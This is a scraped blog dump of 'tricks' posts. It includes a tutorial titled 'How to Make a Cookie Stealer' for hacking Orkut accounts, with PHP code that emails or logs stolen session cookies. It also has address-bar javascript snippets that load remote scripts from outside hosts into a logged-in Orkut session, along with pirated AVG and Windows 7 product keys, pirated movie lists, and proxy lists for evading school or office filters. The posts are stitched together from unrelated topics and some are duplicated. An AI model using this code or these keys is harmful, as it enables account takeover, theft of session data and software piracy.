friends as in school office and collages many sites are banned
and they locked them so that you can not use them but now for you this are some of the proxy sites through which you can accses to any banned site
just type the site name in the website and press go
http://www.vimuto.com Glype Proxy 3359 10 days ago
http://unstopway.com Glype Proxy 1880 10 days ago
http://www.vimuto.com Glype Proxy 4033 18 days ago
http://roxxo.net/ PHProxy 4001 22 days ago
http://www.passthe.net PHProxy 3429 23 days ago
New Proxies
URL Type Hits Time
http://npfailproxy3.info Glype Proxy 1 10 minutes ago
http://webtun5.info Glype Proxy 3 30 minutes ago
http://unfirewallmea.info Glype Proxy 1 50 minutes ago
http://fbookpasser.info Glype Proxy 3 1 hour ago
http://unfirewalledc.info Glype Proxy 4 1 hour ago
http://securewebline.info Glype Proxy 3 1 hour ago
http://tiaoyuenia.tk/ Glype Proxy 3 2 hours ago
http://accessnow4u4.info Glype Proxy 5 2 hours ago
http://playtrading.co.cc/ Glype Proxy 3 2 hours ago
http://filterscantbeatme.info Glype Proxy 8 2 hours ago
http://48usprox.info Glype Proxy 8 3 hours ago
http://letmehideu4.info Glype Proxy 7 3 hours ago
http://58usprox.info Glype Proxy 3 3 hours ago
http://56unblocknow.info Glype Proxy 3 3 hours ago
http://unblocked4u5.info Glype Proxy 5 4 hours ago
http://blockbypassa.info Glype Proxy 6 4 hours ago
http://proxyboxonline45.co.cc/ Glype Proxy 7 4 hours ago
http://50unblocknow.info Glype Proxy 6 4 hours ago
I am not giving hyper links of all due to less time but others you can copy and paste in your assress bar they all will work.....
http://hide2market.co.cc/
http://60usprox.info
http://unblockzsites5.info
http://9unblock.info
http://webtunh.info
http://unfirewalledaccess.info
http://renewalhide.co.cc/
http://allunblocked5.info
http://proxyboxonline44.co.cc/
http://givemeaccessnow.info
http://dualmarket.co.cc/
http://41usprox.info
http://proxydetox1.info
http://unblockemeplz1.info
http://breakpastit.info
http://ultrahide.co.cc
http://recessforeverbypass.info
http://skoolchatz3.info
http://mysiteunblocker.info
http://proxyboxonline43.co.cc/
http://getmeonthissite.info
http://w3bpr0x.info
http://onewaytrading.co.cc/
http://proxyshare4.info
http://vtunn3l.info
http://cantstopme4.info
http://anonymous-surfing36.co.cc/
http://limproxy.com
http://accessyoutubenow.info
http://proxyboxonline42.co.cc/
http://webtuno.info
http://ridinghotgirl.co.cc/
http://66usprox.info
http://bloxareout2.info
http://cantstopme3.info
http://s-proxy.info/
http://schoolproxyunblocker.co.cc/
http://54usprox.info
http://hideinspace.co.cc/
http://webtun8.info
http://unblockproxylist.cn/
http://ptunn3l.info
http://bloxarebad2.info
http://safetyproxy.co.cc
http://unblocked2.info
http://hideinschool.com
http://proxysites.cz.cc
http://71unblocknow.info
http://oracleeyes.co.cc
http://student-domainloans.co.cc
http://hidesu4.info
http://domainhider.co.cc
http://otunn3l.info
http://hideyouridentity.info
http://100usprox.info
http://chicklets.co.cc
http://coverme78.info
http://ublockedabcd.info
Spiga
NOW UNLOCK SITES WITH NEW PROXY SITE
checkout axe effect now
checkout the axe effect game on zapak now
hope you will enjoy it
click on the link
http://axeplay.zapak.com/
Scrap To All Orkut Friends
at a single time. Yes, this is a trick and I have been posting a lots of tricks to do it. But Orkut official guys are continuously configuring their database, so that these scripts won't work anymore. Previously a loads of javascripts doing this fun got useless.
100% working
But this time we have tried at our best to bring you the best. Here is the working script to send common scrap to all your Orkut friends. Follow the below steps and enjoy.
Copy the below javascript.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://jingles.njoy.googlepages.com/scrapall.js';void(0)
Clear your address bar (Where you type www.orkut.com)
Paste the above javascript in your address bar.
Press Enter.
Follow the instructions and you are done.
Pretty simple. Do not forget to roam here for more funny and astonishing Orkut Tricks.
AVG 8.5 KEY UP TO 2018
AVG 8.5 serial key
valid up to 2018 so enjoy total security
NOW!
8MEH-RQXTV-HQOWD-E447R-MPHYD-PEMBR-ACED
so enjoy!
DOWNLOAD WINDOWS 7 ULTIMATE
I USED WINDOWS 7 ULTIMATE ITS QUIT EASY TO ACCSES AS COMPARE TO WIN XP OR WIN VISTA
HERE I TELL YOU THAT HOW COULD YOU CAN GET WINDOWS 7 FREE
you need to know that size of windows 7 setup file is 2.25 gb so you need unlimited download internet plan
First you need to install bittorrent software in your pc or laptop
click here for downloading bittorrent software
after installing bittorrent click here
you are forward to a new web page click on download button on that page
and download the file run the file and download windows 7
throw this process then install it .
just note down the product key it will used after setup
22TKD-F8XX6-YG69F-9M66D-PMJBM
Download Touch Guitar and Piano for Nokia N97
Well, I put this game as Nokia N97 game, but of course it work flawlessly as Nokia 5800 game. With Touch Guitar, you can play a virtual guitar on the phone. Just press the chords on the left, strum the strings just like a real guitar (with the supplied plectrum stylus!), then you can creat unlimited possibilities of music creation!
Download Touch Guitar
Touch Piano Free Mobile Software for Nokia 5800 Xpress Music & Nokia N97 (S60V5) Mobile Phones
Touch Piano is an application which will turn your phone into a musical instrument. If you know your way around a piano, you will have no problem playing music using those virtual keys. The application should be really fun to play with while you’re travelling. It will certainly get your mind off work for a few moments. Besides the piano sounds the application features other sound effects like the organ, violin, flute, guitar and drum. If that sounds good enough for you then you can get Touch Piano right now.
Compatible With: Nokia 5800 Xpress Music, Nokia N97
Download Now
Download free bollywood, hollywood movies for your phone
The movies are been converted to the avi formet for your phones
BOLLYWOOD MOBILE MOVIES
click to the link
http://www.moviesmobile.net/bollywood-mobile-movies/new.php
Blue [pDVD(New)]
All The Best [pDVD]
Main Aur Mrs Khanna [pDVD]
Love Aaj Kal [DVD]
Whats Your Rashee [DTH]
Acid Factory [TS]
Zor Lagaa Ke Haiya [DVD]
Wake Up Sid [pDVD]
Do Knot Disturb [TS]
Kaminey [DVD]
Life Partner [DVD]
Daddy Cool [DVD]
Love Khichdi [DVD]
Quick Gun Murugun [pDVD]
Sikandar [DVD]
Teree Sang [DVD]
Dil Bole Hadippa [DVDSCR]
Wanted [DVDSCR]
Phir Kabhi [DVD]
Firaaq [DVD]
Baabarr [pDVD Proper]
Aamras [pDVD Proper]
Bachelor Party [pDVD]
Aagey Se Right [pDVD]
Three - Love Lies Betrayal [DVD]
Kissan [DVD]
Vaada Raha [pDVD]
Fox [DVD]
Luck [DVD]
Toss [CAM]
Kissan [CAM]
Yeh Mera India [pDVD]
Kambakkht Ishq [DVD]
Short Kut - The Con is On [DVD]
Morning Walk [DVD]
Gulaal [DVD]
Agyaat [DVD]
Shadow [pDVD]
New York [DVD]
Chal Chalein [pDVD]
Kal Kissne Dekha [DVD]
Maruti Mera Dosst [DVD]
Barah Aana [DVD]
Dekh Bhai Dekh [DVD]
Jashnn [DVD]
Little Zizou [DVD]
Sankat City [DVD]
Siddharth The Prisoner [DVD]
Runway [DVD]
Lets Dance [DVD]
Paying Guests [DVD]
Hum Phirr Milein Na Milein [pDVD]
Raftaar [pDVD]
Anubhav [pDVD]
Team - The Force [pDVD]
99 [DVD]
Munde Uk De - Punjabi [pDVD]
Detective Naani [TS]
Straight [DVD]
Suno Na [pDVD]
8 X 10 Tasveer [DVD]
Dasavatharam in Hindi [R5]
Dhoondte Reh Jaoge [DVD]
Delhi 6 [DVD]
Chandni Chowk to China [DVD]
Aloo Chaat [DVD]
Aa Dekhen Zara [DVD]
Rab Ne Bana Di Jodi [DVD]
Coffee House [pdvd]
Ek-The Power Of One [DVD]
Ek Se Bure Do [pDVD]
Dev D [DVD]
13B [DVD]
Billu [DVD]
Luck By Chance [DVD]
Lottery [pDVD]
Jai Veeru [DVD]
Ghajini [DVD ]
13B [pDVD]
Kisse Pyaar Karoon [pDVD]
The Stoneman Murders [pDVD]
Slumdog Crorepati [pDVD]
Jumbo [DVD]
Raaz - The Mystery Continues [DVD]
Jugaad [pDVD]
Tahaan [VCD]
Oh My God [DVD]
Mere Khwabon Mein Jo Aaye [pDVD]
Chal Chala Chal [pDVD]
Victory [pDVD]
Aasma - The Sky Is The Limit [pdvd]
Bad Luck Govind [pDVD]
The President Is Coming [pDVD]
Oye Lucky! Lucky Oye! [DVD]
Dil Kabaddi [DVD]
Roadside Romeo [DVD]
Sorry Bhai ! [DVD]
Cheenti Cheenti Bang Bang [DVD]
Meera Bai Notout [pDVD]
Yuvvraaj [DVD]
Fashion [DVD]
Dostana [DVD]
Golmaal Returns [DVD]
Chanchal [pDVD]
Ishaara-A Dangerous Mission [pDVD]
Maharathi [pDVD]
Gumnaam - The Mystery [pDVD]
Karzzzz [DVD]
Heroes [DVD]
EMI [DVD]
Welcome to Sajjanpur [DVD]
Dasvidaniya [DVD]
Desh Drohi [pDVD]
Kidnap [DVD]
Drona [DVD]
A Wednesday ! [DVD]
1920 [DVD]
Ek Vivaah Aisa Bhi [pDVD]
Monsoon Wedding [DVD]
Hello [DVD]
Rock On!! [DVD]
God Tussi Great Ho [DVD]
Phoonk [DVD]
Hulla [DVD]
Shoot On Sight [pDVD]
Hijack [DVD]
Deewana Mastana [DVD]
Gafla [DVDRIP]
Ramchand Pakistani [pDvD]
Kismat Konnection [DVD]
3 Deewarein [DVD]
Chamku [DVD]
C KKompany [DVD]
Singh Is Kinng [DVD]
Jaane Tu... Ya Jaane Na [DVD]
Maqbool [DVD]
Bachna Ae Haseeno [DVD]
Mumbai Meri Jaan [DVD]
Rafoo Chakkar [pDVD]
Hari Puttar - A Comedy of Terrors [pDVD]
Ru Ba Ru [DVD]
Saas Bahu Aur Sensex [pDVD]
The Last Lear [pDVD]
Money Hai Toh Honey Hai [DVD]
Ugly Aur Pagli [DVD]
Mission Istaanbul [DVD]
Mukhbiir [pDVD]
Maan Gaye Mughall-E-Azam [PDvD]
Khushboo [DVD]
Summer 2007 (2008) [DVD]
Contract [DVD]
Haal-e-dil [DVD]
Jodhaa Akbar [DVD]
Mehbooba 2008 [DVD]
Good Luck [DVD]
Border [DvDRip]
Qayamat Se Qayamat Tak [DVD]
Mere Baap Pehle Aap [DVD]
Dil Chahta Hai [DVD]
Thoda Pyaar Thoda Magic [DVD]
Just Married [DVD]
Taare Zameen Par [DVD]
Via Darjeeling [pDVD]
De Taali [DVD]
Love Story 2050 [pDVD]
Sarkar Raj 2008 [DVD]
Asoka [DVD]
Swades [DVD]
Yes Boss [DVD]
Karan Arjun [DVD]
Duplicate [DVD]
U Me Aur Hum [DVD]
Koyla [DVD]
Awarapan [DVD]
Shoot Out At Lokhandwala [DVD]
Jannat [DVD]
The Legend of Bhagat Singh [DvDRip]
Mr.White Mr.Black [DVD]
Aamir [PreDVD]
Tashan [DVD]
Namastey London [DVD]
Dhoom Dhadaka 2008 [PreDvDRip]
Ta Ra Rum Pum [DVD]
Dil Aashna Hai [DVD]
Bhoothnath [DVD]
Woodstock Villa 2008 [Pre-DVDRip]
Hastey Hastey (2008) [PDvDRip]
Jimmy [DVD]
Veerana 1985 Horror Movie [Vcd]
Chak De India [DVD]
Fanaa [DVD]
Anamika 2008 DvDRip [DvDRip]
Krazzy 4 [PreDVD]
Bheja Fry [DVD]
Khuda Ke Liye [VCD]
Rang De Basanti [DVD]
One Two Three [PreDVD]
Deewana [DVD]
Darr [DVD]
Chamatkar [DVD]
Race [Pre-DVD]
Kabhi Haan Kabhi Naa [DVD]
Sarfarosh [DVD]
Black & White [EUDVD]
Vivah [DVD]
Rama Rama Kya Hai Dramaaa [DVD]
Om Shanti Om [DVD]
Mithya [DVD]
Superstar [DVD]
Halla Bol [DVD]
Awara Pagal Deewana [DVD]
Krantiveer [DVD]
Dhoom 2 [DVD]
Golmaal [DVD]
Sunday [Eu-DVD]
Final Solution []
Zeher []
Yaadon Ki Baarat []
Paheli []
Phir Bhi Dil Hai Hindustani []
Kaho Naa Pyaar Hai []
Ghoom []
Bluffmaster []
Aamir Khan His Story So Far []
Bandit Queen [DVD]
Bombay To Bangkok [EuDVD]
My Name is Anthony Gonsalves [Eu-DVD]
Return of Hanuman [Pre-DVD]
Aaja Nachle [DVD]
Baazigar [DVD]
Don - The Chase Begins Again [DVD]
Dhan Dhana Dhan Goal [DVD]
Showbiz [Pre-DVD]
Welcome [Pre-DVD]
Dus Kahaniyaan [Eu-DVD]
Partner [DVD]
Jab We Met [DVD]
Khoya Khoya Chand [Eu-DVD]
The Outer World Of Shah Rukh Khan [DVD]
World Cup 1983 Final [TV-Rip]
Speed [Pre-DVD]
Sholay [DVD]
Saawariya [Pre-DVD]
No Smoking [DVD]
Murder [DVD]
Mumbai Salsa [VCD]
Munnabhai MBBS [DVD]
Lage Raho Munnabhai [DVD]
Laaga Chunari Mein Daag [DVD]
Lagaan: Once Upon a Time in India [DVD]
Hungama [DVD]
Hera Pheri [DVD]
Hyderabad Blues [DVD]
Heyy Babyy [Pre-DVD]
Dilwale Dulhaniya Le Jayenge [DVD]
Dhokha [Pre-DVD]
Dhamaal [DVD]
Company [DVD]
Dil Dosti Etc [DVD]
Darling [DVD]
Cash [DVD]
Boom [DVD]
Good Boy Bad Boy [DVD]
Ram Gopal Varma Ki Aag [DVD]
Comedy Unlimited 2 [DVD]
Bhool Bhulaiyaa [Pre-DVD]
Aggar [DVD]
Top cracking software methods and piracy groups
The top methods used for cracking software and the top piracy groups responsible. The report is the first in a series of forthcoming research and is focused on a specific sector of the software market: high-value applications with an average value of more than $4,000 USD per seat. The findings revealed that the piracy groups and the reverse engineering talent they recruit can tamper with a variety of hardware and software based licensing systems to enable overt piracy.
In addition: Tampering or bypassing the embedded license enforcement is a key enabler of piracy. Acresso (formerly Macrovision) is still the predominant system used by high value software vendors.
In this sample of 83 releases, 73 percent, or 60 releases, used a version of the Acresso FLEXnet licensing system. The top five piracy groups (out of 212) contributed 59 percent of the cracked releases in the research sample. The top five most active groups in this sample were Lz0 (Linear Zero), NULL, Shooters, LND (Legends Never Die) and Magnitude. Strengthening licensing using hardware dongles or tamper resistant licensing may be useful for preventing overuse within a licensed customer environment, but it should not be viewed as a defense against overt piracy. When vulnerabilities or “key maker” approaches were not possible, the groups resorted to binary patches that successfully modified or bypassed the license enforcement process within the application files. All the piracy software releases provided a valid crack mechanism or approach to tamper with license enforcement and enable illegal use. However, there was a great range in terms of how well documented the cracks were and the level of expertise required to configure the crack.
Three general approaches were visible in the application sample: Binary patches, which accounted for 52 percent of the cracked releases. A binary patch is achieved by patching installed application files or replacing the application with modified versions provided within the crack distribution.
The Key Maker approach was used in 36 percent of the releases. A key maker approach is based on a successful reverse engineering process performed by the cracking community. The process is able to recover the vendor seed data and algorithms used by the application to verify and enforce the license.
Vulnerability, a general class of crack approaches that does not require tampering of the software, accounted for 12 percent of the cracked releases. This approach relies on vulnerabilities in the licensing system implementation to bypass enforcement.
To support this analysis, V.i. Labs identified and obtained crack releases of high-value software from piracy top sites, mid-tier piracy distribution channels and individuals advertising applications for sale. These applications traditionally contain significant intellectual property and provide solutions and functionality in Architecture Engineering and Construction (AEC), Computer Aided Design (CAD), Computer Aided Machine (CAM), Computer Aided Engineering (CAE), Electronic Design Automation (EDA), Product Lifecycle Management (PLM), and other specialized engineering and scientific modeling and analysis.
Thanks for reading
Enable Run Command on Windows 7 or Vista Start Menu
Enable Run Command on Windows 7 or Vista Start Menu
A number of people have asked me how to enable the old Run dialog that existed on every other version of Windows until Vista, and is still gone in Windows 7. One of the nice features of the old Run dialog was that it saved the history of what you had typed in.
We should note first that you can always get to the run dialog by just hitting Win + R on the keyboard, which is the simplest way to do so, and would probably be worth getting used to.
Otherwise, you can re-enable the run dialog by right-clicking on the Start Button, selecting Properties, and then clicking Customize on the ensuing dialog window.
You’ll be taken to the Customize Start Menu screen.
Check the “Run command” checkbox in the list, and you should now be in business:.
Note the addition of the Run… button.
Task Manager has been disabled by your administrator
Error Message: "Task Manager has been disabled by your administrator"
Symptom
When you try to open Task Manager, the following error may occur:
Task Manager has been disabled by your administrator
Resolution
This error is caused if the DisableTaskMgr restriction is enabled. To enable Task Manager, try one of these methods:
IMPORTANT: If this restriction was enabled in your system without you doing anything or without your knowledge, then it's highly likely that a Virus has blocked the usage of Task Manager in your system by enabling the DisableTaskMgr policy via the registry. I strongly suggest that you perform a thorough checkup of your system immediately. Steps listed in the Resolution section of this article helps you unblock the Task Manager, but that does not remove the Virus (if any) from your system.
Method 1
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f
Click Start, Run and type this command exactly as given below: (better - Copy and paste)
Method 2
Download and run this REG fix and double-click it.
Method 3
•Click Start, Run and type Regedit.exe
•Navigate to the following branch:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System
•In the right-pane, delete the value named DisableTaskMgr
•Close Regedit.exe
Method 4: Using Group Policy Editor - for Windows XP Professional
•Click Start, Run, type gpedit.msc and click OK.
•Navigate to this branch:
User Configuration / Administrative Templates / System / Ctrl+Alt+Delete Options / Remove Task Manager
•Double-click the Remove Task Manager option.
•Set the policy to Not Configured.
How to make cookies and hack Orkut accounts
How to Make a Cookie Stealer
Introduction
Exactly how does a cookie stealer work, anyway? There are two components in a cookie stealer: the sender and the receiver.
The sender can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender.
The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver.
Step One: The Code
Coding a receiver is the part with which most newbies struggle. Only two things are needed to make a receiver: a webhost which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).
As I said in the introduction, the receiver's job is to receive the cookie from the sender. The easiest way to send information to a PHP document is by using the HTTP GET method, which appends information to the end of the URL as a parameter (for example, "page.php?arg1=value"). PHP can access GET information by accessing $HTTP_GET_VARS[x], where x is a string containing the name of the argument.
Once the receiver has the cookie, it needs a way to get that cookie to you. The two most common ways of doing this are sending it in an email, and storing it in a log. We'll look at both.
First, let's look at sending it in an email. Here is what such a beast would look like (functioning code):
$cookie = $HTTP_GET_VARS["cookie"]; // line 2
mail("me@mydomain.com", "Cookie stealer report", $cookie); // line 3
?> // line 4
Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 accesses PHP's mail() function and sends the cookie to "me@mydomain.com" with the subject of "Cookie stealer report".
Line 4 tells the server that the PHP code ends here.
Next, we'll look at my preferred method, which is storing the cookie in a logfile. (functioning code)
$cookie = $HTTP_GET_VARS["cookie"]; // line 2
$file = fopen('cookielog.txt', 'a'); // line 3
fwrite($file, $cookie . "\n\n"); // line 4
?> // line 5
Lines 1 and 2 are the same as before.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file.
Line 5 is the same as before.
Step Two: Implementing the Stealer
The hardest part (usually) of making a cookie stealer is finding a way to use the sender. The simplest method requires use of HTML and JavaScript, so you have to be sure that your environment supports those two. Here is an example of a sender.
// Line 3
Line 1 tells the browser that the following chunk of code is to be interpereted as JavaScript.
Line 2 adds document.cookie to the end of the URL, which is then stored in document.location. Whenever document.location is changed, the browser is redirected to that URL.
Line 3 tells the browser to stop reading the code as JavaScript (return to HTML).
There are two main ways of implementing the sender:
You can plant your sender where the victim will view it as an HTML document with his browser. In order to do that, you have to find some way to actually post the code somewhere on the site.
Diet For Body Builders
An hour of tough workout and a carefully planned nutritional diet goes a long way in assuring a good physique. For body builders, consumption of a balanced diet becomes quintessential. Believe it or not - appropriate nutrition truly decides how successful one can be in the bodybuilding schedule. The diet should be planned in a manner that it helps in muscle gaining and not in weight gain. You must also realize that consuming supplements alone will not do wonders for your body. They can only enhance and contribute to the bodybuilding process.
Ideally the body building diet should include food items that contain all categories of nutrients. It is essential to consume all the nutrients, be it proteins, carbohydrates or fats. Some of the various items that bodybuilders can consume for the intake of proteins are: lean meat, fish, eggs, milk, nuts etc. For carbohydrates, brown rice, potatoes, whole meal bread, fresh fruits and vegetables can be the best bet. However, indulging in white flour products can rebound your efforts.
Basic Rules
As a bodybuilder, the foremost thing you need to do is follow the basic rules of diet. Go for small and regular feedings, instead of binging on irregular and large ones. The best option would be to eat six meals a day, spaces out at 2 ½ hours intervals. The proportion of carbohydrates, fats and protein intake should be in the ratio of 4:2:4. This ratio ideally helps in reducing weight and building an impressive muscular body. However, make sure you do not consume carbohydrates three to four hours before going off to sleep.
Week 1 & 2
An important rule for week the first two weeks would be to cycle calories intake. This would help your body avoid the metabolism from getting used to a certain caloric level. For those, who want to increase the muscle mass, go for two days of lower calorie and five days of high calorie diet. However, those of you, who want to lose fat; you need to follow five days of lower caloric intake and two days of high calories. Remember, you diet should provide you with support to indulge in the higher level of physical activity.
Week 3 & 4
Instead of frying food items, begin roasting and steaming. Go for skinless chicken or turkey, instead of high fat meats. Processed foods and junk foods are strict no-no for bodybuilders. The next step would be to eliminate refined sugars from the diet. High sugar content foods like fruit juices and carbonated drinks should pave way for diet sodas. In due course of time, the best bet would be to settle down to water. Make it your main beverage and increase its consumption level. Follow this diet plan, as it is sure to augment with your efforts for a good build-up
Diet For Body Builders
Diet For Body Builders
An hour of tough workout and a carefully planned nutritional diet goes a long way in assuring a good physique. For body builders, consumption of a balanced diet becomes quintessential. Believe it or not - appropriate nutrition truly decides how successful one can be in the bodybuilding schedule. The diet should be planned in a manner that it helps in muscle gaining and not in weight gain. You must also realize that consuming supplements alone will not do wonders for your body. They can only enhance and contribute to the bodybuilding process.
Ideally the body building diet should include food items that contain all categories of nutrients. It is essential to consume all the nutrients, be it proteins, carbohydrates or fats. Some of the various items that bodybuilders can consume for the intake of proteins are: lean meat, fish, eggs, milk, nuts etc. For carbohydrates, brown rice, potatoes, whole meal bread, fresh fruits and vegetables can be the best bet. However, indulging in white flour products can rebound your efforts.
Basic Rules
As a bodybuilder, the foremost thing you need to do is follow the basic rules of diet. Go for small and regular feedings, instead of binging on irregular and large ones. The best option would be to eat six meals a day, spaces out at 2 ½ hours intervals. The proportion of carbohydrates, fats and protein intake should be in the ratio of 4:2:4. This ratio ideally helps in reducing weight and building an impressive muscular body. However, make sure you do not consume carbohydrates three to four hours before going off to sleep.
Week 1 & 2
An important rule for week the first two weeks would be to cycle calories intake. This would help your body avoid the metabolism from getting used to a certain caloric level. For those, who want to increase the muscle mass, go for two days of lower calorie and five days of high calorie diet. However, those of you, who want to lose fat; you need to follow five days of lower caloric intake and two days of high calories. Remember, you diet should provide you with support to indulge in the higher level of physical activity.
Week 3 & 4
Instead of frying food items, begin roasting and steaming. Go for skinless chicken or turkey, instead of high fat meats. Processed foods and junk foods are strict no-no for bodybuilders. The next step would be to eliminate refined sugars from the diet. High sugar content foods like fruit juices and carbonated drinks should pave way for diet sodas. In due course of time, the best bet would be to settle down to water. Make it your main beverage and increase its consumption level. Follow this diet plan, as it is sure to augment with your efforts for a good build-up.
Scrap to all your with just One click, Have you ever wondered this? It sends a common scrap to all your friends at a single time ,Well this script seems to be more interesting as it doesn’t have any installation methods like the previous scrap all methods and you also don’t need greesemonkey to be installed.
How To Scrap All
1. Copy The below Script In box and Paste In The Orkut Adress Bar(Adress Bar is a place Where you Type [www.orkut.com] )
Remember Must Be Logged On to Orkut while using these Script And not to paste the code in new window, Paste the code in yours Orkut Profile Adress Bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://scrapur.googlepages.com/scraps.js';void(0)
Or
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://scrapur.googlepages.com/s21.js';void(0)
(Use any One From Above Code) Hit Enter after pasting the code In Adress Bar ,A window will appear in front of you after Hitting Enter , Type yours Scrap in Box and Click Send scrap(S) and you are done ,
To Confirm whether Scrap are sent to all yours Friends or not check yours Friends ScrapBooks.
If still facing any problem with scrap all script fell free to post yours problems in Comments we will back with yrs solution soon , Remember to check updates for yours Problem Solution Here , if you have post yours problem in comments.
I Recommend you to Browse or Surf with Firefox rather then surf with Internet Explore Because ScrapAll Script Work Fast In this Firefox.Click The Below Link To Download Firefox.Note Update - Scrap All Script Is Restricted By Orkut To Only 50 Users So You can Only Send Scraps To Only 50 Users Every Day Better Select Friend and Then Send Scraps to Each Friend Every Day !!
Transfer Talktime To Other Prepaid
Now any one can transfer Airtel Talktime to other Prepaid number
by following steps
Dial *143*number you want to recharge#
an press the call button
e.g.- Dial *143*9876543210# and press the calling button
You can transfer Rs.50.
Its works in so many states in country so try it in your state
Idea Free GPRS
If you wanna use free idea GPRS
Then try this sittings on your mobile
APN:
Mmsc
Hompage:
http://concealme.com
Proxy:
10.4.42.15
Port:8080
and enjoy
What is malware ?
Some times people get conffuse from the types of viruses
And many of the net surffers dosnt know about MALWARE
so here i am tell you about malware
Malware is a program which is used to monitor your computer
habits when you are online , such as traking cookies
which can send your account details to the other person
so always use anti malware programes
IF YOU WANNA KNOW COMPLETE CONFIGURATION ABOUT YOUR PC
then just go to run
you can found run in accessories
just type this command in run
dxdiag
and the whole configration you can see on your screen
enjoy
Cheap Call International From Your Phone
Hi friends this time i am interducing with a website
Through which you can make international calls in so less rates
ITS NOT ENOUGH FOR YOU
then listen one more thing
You can make 60 min of ISD call free of cost
SO enjoy free calling
Create Your Own Themes
Just log on to ownskin.com
CLEAR RECENT PLAYED LIST IN s60V2 PHONES
*go to c:/system/data or in your phone memory /system/data
* then delete mediaplayer.dat
enjoy
Orkut applications
Orkut Application Tutorial:-
Congratulation developers finally Orkut launch Orkut Apps for Indians. Now you can create your own Application on Orkut.
Before creating Orkut apps you need to understand in which platform it works.
Orkut Application works on xml and to know about xml click here.
Orkut apps work on a different style of xml and it uses its own google libraries.
For more Information about the pattern of xml and Google libraries click here.
If you want to make your own Orkut Application then follow the instructions:-
1. First of all you need to become member of http://sandbox.orkut.com/
2. For this you have to apply for developer from http://code.google.com/support/opensocialsignup/
3. It will take around 48 hours for confirmation.
4. After confirmation you can start making your Orkut Apps from http://sandbox.orkut.com/MyApps.aspx.
5. After reaching http://sandbox.orkut.com/MyApps.aspx you can see "add application" button. So enter your xml url here and you can see your Orkut Apps.
It will look like this.
6. After creating your apps submit your apps in Orkut Directory.
For more information about Orkut Application you can refer Orkut Development guide.
Orkut Application Tutorial:-
Congratulation developers finally Orkut launch Orkut Apps for Indians. Now you can create your own Application on Orkut.
Before creating Orkut apps you need to understand in which platform it works.
Orkut Application works on xml and to know about xml click here.
Orkut apps work on a different style of xml and it uses its own google libraries.
For more Information about the pattern of xml and Google libraries click here.
If you want to make your own Orkut Application then follow the instructions:-
1. First of all you need to become member of http://sandbox.orkut.com/
2. For this you have to apply for developer from http://code.google.com/support/opensocialsignup/
3. It will take around 48 hours for confirmation.
4. After confirmation you can start making your Orkut Apps from http://sandbox.orkut.com/MyApps.aspx.
5. After reaching http://sandbox.orkut.com/MyApps.aspx you can see "add application" button. So enter your xml url here and you can see your Orkut Apps.
It will look like this.
6. After creating your apps submit your apps in Orkut Directory.
For more information about Orkut Application you can refer Orkut Development guide.
Posted by Prashant Singh at Wednesday, April 30, 2008
Wednesday, April 30, 2008
7 comments:
Anonymous said... can anyone create an application in which we can create our own quiz, as many questions as we like,with pictures, answer can be MCQs(with picture option) or descriptive as we like,
and that quiz can be given by everyone who views our profile or juz our friends (option should be given)
May 17, 2008 4:12 PM
kaustubh verna said... dude i have created a widget using widgetbox. then i customized it for orkut. I submitted the app url and then when i am logged in the sandbox ... i see the application but when i am logged in normally i cant see the app..l.. neither my friends can see it ...... also when i thought resubmitting the url ... it said the app already was there in the directory .... but it doesnt seems to be listed there .... is it that orkut would check the app ... before it opens it ???
August 25, 2008 12:22 AM
Anonymous said... download compressed and latest movies upto 120 MB only best mobile downloads compressed games at http://newgage.blogspot.com. I love This Site......... i am not a spammer.......
September 17, 2008 12:43 AM
Bluffmaster said... This is Cools
For Orkut Scraps Pls click
http://www.showorgo.com/imagesshop/neworkut/neworkut.html
June 13, 2009 10:56 PM
Anonymous said... i read above post in this blog and registered in sandbox.orkut , i have registed before one week still i am unable to access my account please any one any suggestions, add application button is in disable state, thanks in advance
July 7, 2009 4:56 PM
Anonymous said... fucken shit... ass hole.. orkut application.. you mother fucking website.. son of the bitch..
July 20, 2009 11:57 PM
Admin said... Good Article clears the concept
August 16, 2009 10:55 AM
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Freeware
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My blog
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hi friends
this is my new blog i had created its name from a person attached to my life ................
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so dear friends please help in permoting this blog from your supports
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Ronik Rawat
How to increase download speeds of uTorrent
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uTorrent was very slow for me until recently I applied a few tweaks. Here’s what I did.
Note: Some of the settings mentioned below are optimized for 256k connection. If you want to calculate the optimal settings for your connection, check at the end of this tutorial. But I suggest you to read the entire tutorial for guidance on other settings.
First go to Options>Preferences>Network
Under ‘Port used for incomming connections’, enter any port number. It is best to use a port number above 10000. I use 45682.
Randomize port each time utorrent starts: UNCHECKED. I leave this unchecked because I have a router. If you do not have a router or a firewall, and want extra security,check this option.
Enable UPnP port mapping (Windows Xp or later only): UNCHECKED. I leave this unchecked because I have experienced it slowing down speeds. It is not needed if you manually port forward.
Add utorrent to Windows Firewall exceptions (Windows XP SP2 or later only): UNCHECKED (do this only if you have windows firewall disabled)
Global Maximum upload rate (kb/s): [0: unlimited]: 22 (for 256k connection)
Protocol Encryption: ENABLED. I would recommend everyone to enable this. This can help increase speeds with many ISPs.
Allow incoming Legacy Connections: CHECKED
Options>Preferences>Torrents
Global Maximum Number of Connections: 130 (for 256k connection)This number should not be set too low or the number of connections made to your torrents will be limited. Setting it too high may cause too much bandwidth to be used and can cause slowdowns.
Maximum Number of connected peers per torrent: 70 (for 256k connection)If you see that the peers connected to a specific torrent are exactly this number, or very close, increase this number to improve speeds.
Number of upload slots per torrent: 3 (for 256k connection)This depends on how much you want to upload to other users. Do not set too low or it may affect download speeds.
Use additional upload slots if upload speed <90%: CHECKED
Maximum number of active torrents: 2 (for 256k connection)
